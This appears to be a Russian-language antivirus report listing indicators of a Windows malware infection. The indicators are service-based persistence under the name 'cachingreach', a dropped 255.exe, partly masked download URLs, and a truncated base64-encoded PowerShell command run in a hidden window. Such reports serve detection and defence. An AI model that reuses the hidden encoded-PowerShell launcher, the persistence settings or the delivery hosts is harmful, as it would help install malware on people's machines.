Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\cachingreach] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\cachingreach] 'ImagePath' = '"%WINDIR%\SysWOW64\cachingreach.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABUAGwAawB5AGcAaQBxAGoAaQBwAHcAaQA9ACcAWgBlAGsAcABmAGoAbwBkAHEAJwA7ACQAQQBiAHgAeAB3AHAAagBrAGYAYQB1ACAAPQAgACcAMgA1ADUAJwA7ACQAWABiAHQAcQBhAGYAZABlAD0AJwBSAG8AeABxAHYAZgByAGwAYQAnADsAJAB...
- %HOMEPATH%\255.exe
- %HOMEPATH%\255.exe в %WINDIR%\syswow64\cachingreach.exe
- http://www.b2#s.fr/temp/zq/
- http://21#.##0.19.232:8080/cab/tpt/ringin/merge/ via 21#.#60.19.232
- DNS ASK b2#s.fr
- '%HOMEPATH%\255.exe'
- '%WINDIR%\syswow64\cachingreach.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABUAGwAawB5AGcAaQBxAGoAaQBwAHcAaQA9ACcAWgBlAGsAcABmAGoAbwBkAHEAJwA7ACQAQQBiAHgAeAB3AHAAagBrAGYAYQB1ACAAPQAgACcAMgA1ADUAJwA7ACQAWABiAHQAcQBhAGYAZABlAD0AJwBSAG8AeABxAHYAZgByAGwAYQAnADsAJAB...' (со скрытым окном)